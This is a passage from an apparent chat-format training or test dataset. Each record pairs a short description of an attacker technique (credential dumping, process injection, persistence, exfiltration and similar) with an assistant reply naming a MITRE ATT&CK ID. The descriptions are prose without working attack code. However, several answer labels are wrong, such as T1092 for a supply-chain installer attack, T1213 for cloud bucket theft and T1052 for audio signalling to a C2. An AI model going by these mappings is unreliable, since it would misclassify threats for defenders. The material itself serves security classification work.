                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software monitors network traffic for RDP handshake data, extracts the session ID, and then establishes a new connection using the stolen credentials."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool installs a rootkit that masks its processes and connections by altering OS level monitoring APIs."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker injects a malicious PE into a running svchost.exe process by allocating memory and using WriteProcessMemory followed by CreateRemoteThread."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom script probes closed ports in a particular order, using the successful pattern to trigger the activation of a malicious service hidden behind the firewall."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries place a malicious script in /etc/cron.d/ to persist by executing it hourly."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor installs a rogue network provider DLL that hooks authentication APIs to harvest passwords."
            },
            {
                "role": "assistant",
                "content": "T1556.008 - Modify Authentication Process: Network Provider DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor creates a fake blog on a compromised hosting service to distribute ransomware executables."
            },
            {
                "role": "assistant",
                "content": "T1583.006 - Acquire Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware overwrites entries in the Windows KernelCallbackTable to redirect execution to its own code when the system processes callbacks."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A legitimate website is hijacked and a drive‑by download is added to the homepage, exploiting a zero‑day in the rendering engine."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code writes messages to a Windows message queue that are read by another injected process."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor scans public CDN edge servers for cached versions of internal documents to exfiltrate sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a Bluetooth-enabled flash drive to load stolen credentials and later retrieved it from a parking lot."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sends a calendar invite with an attached .ics file that exploits a vulnerability to execute code on the victim's calendar application."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerPoint add‑in is deployed via a phishing attachment, providing a foothold on the system."
            },
            {
                "role": "assistant",
                "content": "T1137.006 - Office Application Startup: Add-ins"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a firmware flashing utility to install a backdoor in the system's component firmware, achieving persistence across OS changes."
            },
            {
                "role": "assistant",
                "content": "T1542.002 - Pre-OS Boot: Component Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets a scheduled task that, upon reboot, overwrites the entire disk with random bytes."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor gains control of a major sports news site and injects a malicious payload that exploits a known browser flaw, delivering a keylogger to all readers."
            },
            {
                "role": "assistant",
                "content": "T1608.004 - Stage Capabilities: Drive-by Target"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Group obtains a forged digital certificate to sign malicious code."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a reverse tunnel to a cloud VM, enabling a direct remote desktop connection from their command server."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a local privilege escalation exploit targeting a misconfigured sudo binary to gain administrative rights."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy sensitive documents to a staging folder on the victim machine prior to upload to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Trojan leverages DNS resolution of a malicious domain whose TXT record contains an encoded URL for the next payload."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script performs continuous ARP cache poisoning to maintain a persistent MITM position on the network."
            },
            {
                "role": "assistant",
                "content": "T1557.002 - Adversary-in-the-Middle: ARP Cache Poisoning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the process creation parameters, the attacker causes its malware to inherit the process tree of a legitimate application, effectively hiding its presence."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a rogue DLL in the Windows authentication package directory, causing it to be executed each time a user logs on."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code is set to execute via a custom screensaver configuration, triggering payload delivery each time the screensaver starts."
            },
            {
                "role": "assistant",
                "content": "T1546.002 - Event Triggered Execution: Screensaver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits traffic signaling by sending a sequence of TCP ACK packets to ports 5555, 6666, and 7777, causing the target's firewall to temporarily whitelist the attacker’s IP address."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a stolen NTLM hash to authenticate via SMB shares and execute commands on a remote Windows host."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses open-source DNS analytics platforms to retrieve past DNS resolutions and uncover hidden subdomains."
            },
            {
                "role": "assistant",
                "content": "T1596.001 - Search Open Technical Databases: DNS/Passive DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor uses Group Policy to set the 'Turn off Windows Event Log' policy."
            },
            {
                "role": "assistant",
                "content": "T1562.002 - Impair Defenses: Disable Windows Event Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious team creates a PoC exploit for a critical zero‑day in a popular open‑source library."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code encodes exfiltrated data using a proprietary bit‑shifting method, making standard decoders ineffective."
            },
            {
                "role": "assistant",
                "content": "T1132.002 - Data Encoding: Non-Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This technique involves detecting the lack of user-driven processes and delaying execution until interactive activity is observed."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat hides exfiltrated data within the alpha channel of a PNG image uploaded to a cloud storage service."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant searches for Outlook PST files and extracts email messages for later exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Sophisticated actors embed exfiltrated data within legitimate outbound FTP traffic to blend with normal file transfers."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using vDSO manipulation, the attacker injects a backdoor into the target process's memory space."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using `ctr` (containerd) the attacker creates a container that runs a reverse shell, then attaches to it."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary uses the “schtasks /create” command with the /RL HIGHEST flag to set a high‑privilege scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker conducts credential dumping of the local SAM file, then logs in as a local user to establish a foothold."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a compromised service account in GCP to create new VM instances and install ransomware."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages built‑in SQL Server functions like sp_execute_external_script to launch code execution on the server."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware sample contains obfuscated JavaScript that is deobfuscated at runtime using eval and string manipulation functions."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs DNS queries for TXT records that contain base64-encoded payloads."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary hijacks a VPS’s IP address after the original owner’s account is terminated, then uses the IP for distributed denial‑of‑service attacks."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group uses a spear phishing campaign to target specific individuals within an organization and gain initial access to the network."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware leveraged WMI to remotely execute commands across multiple domain-joined machines simultaneously."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary employed the InstallUtil.exe command-line tool to load a DLL containing a remote access Trojan."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker adds a new subkey under Image File Execution Options for notepad.exe with a debugger entry pointing to their backdoor, ensuring the backdoor runs whenever Notepad is started."
            },
            {
                "role": "assistant",
                "content": "T1546.012 - Event Triggered Execution: Image File Execution Options Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use Instagram hashtags related to the target company's events to gather information about upcoming product launches."
            },
            {
                "role": "assistant",
                "content": "T1593.001 - Search Open Websites/Domains: Social Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised host runs a command that creates a full dump of the LSASS process for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a script that calls 'docker run' with a malicious payload to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell module invoked 'Clear-Disk' to permanently delete all content on the target drive."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary gains unauthorized access to a virtual private server by exploiting default SSH credentials."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised external hard drive to stage a supply chain attack, embedding malicious code in software installers."
            },
            {
                "role": "assistant",
                "content": "T1092 - Communication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a vulnerable version of the Linux kernel to perform a local root exploit."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker queries the cloud identity service to enumerate all user groups and their memberships in Azure AD."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exfiltrated sensitive files from the compromised server using an FTP connection to a remote attacker-controlled host."
            },
            {
                "role": "assistant",
                "content": "T1071.002 - Application Layer Protocol: File Transfer Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom tool to generate continuous high-frequency system interrupts, filling the kernel's interrupt queue and causing the endpoint to freeze."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider copies Kubernetes secret yaml files from the cluster nodes to retrieve embedded service account tokens."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT utilizes the 'schtasks /create' command to add a task that triggers a PowerShell reverse shell when the system clock hits 3 AM."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware component calls the authentication endpoint to generate a multi‑factor authentication request, awaiting user consent."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware establishes a shared memory segment to exchange encryption keys between injected modules."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A caller pretends to be from HR, asking employees to verify their SSN and payroll details during a phone conversation."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries buy technical specifications and engineering blueprints of a competitor's hardware device from a dark web marketplace."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages a large wordlist of common path patterns to map out the target’s hidden web structure."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code reads the KRBTGT password hash from memory and crafts a Golden Ticket to elevate privileges across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script adds a transport rule in Exchange Online that redirects copies of all inbox messages to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sends data‑over‑audio signals to a nearby compromised device, which then forwards commands to the C2."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modifies the user’s Logon script to include a call to a remote PowerShell payload."
            },
            {
                "role": "assistant",
                "content": "T1037.001 - Boot or Logon Initialization Scripts: Logon Script (Windows)"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary bypasses the network boundary by using DNS tunneling combined with NAT traversal, encapsulating traffic to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1599.001 - Network Boundary Bridging: Network Address Translation Traversal"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employs a Living Off The Land (LOTL) tactic, using built-in system tools and commands to execute malicious activities without introducing additional malware."
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary accesses a cloud storage bucket without authorization and extracts stored backups and logs."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary calls the CredEnumerate function to enumerate all stored credentials in Windows Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script compiles a binary with excessive padding bytes that serve no functional purpose, aiming to evade AV signatures."
            },
            {
                "role": "assistant",
                "content": "T1027.001 - Obfuscated Files or Information: Binary Padding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
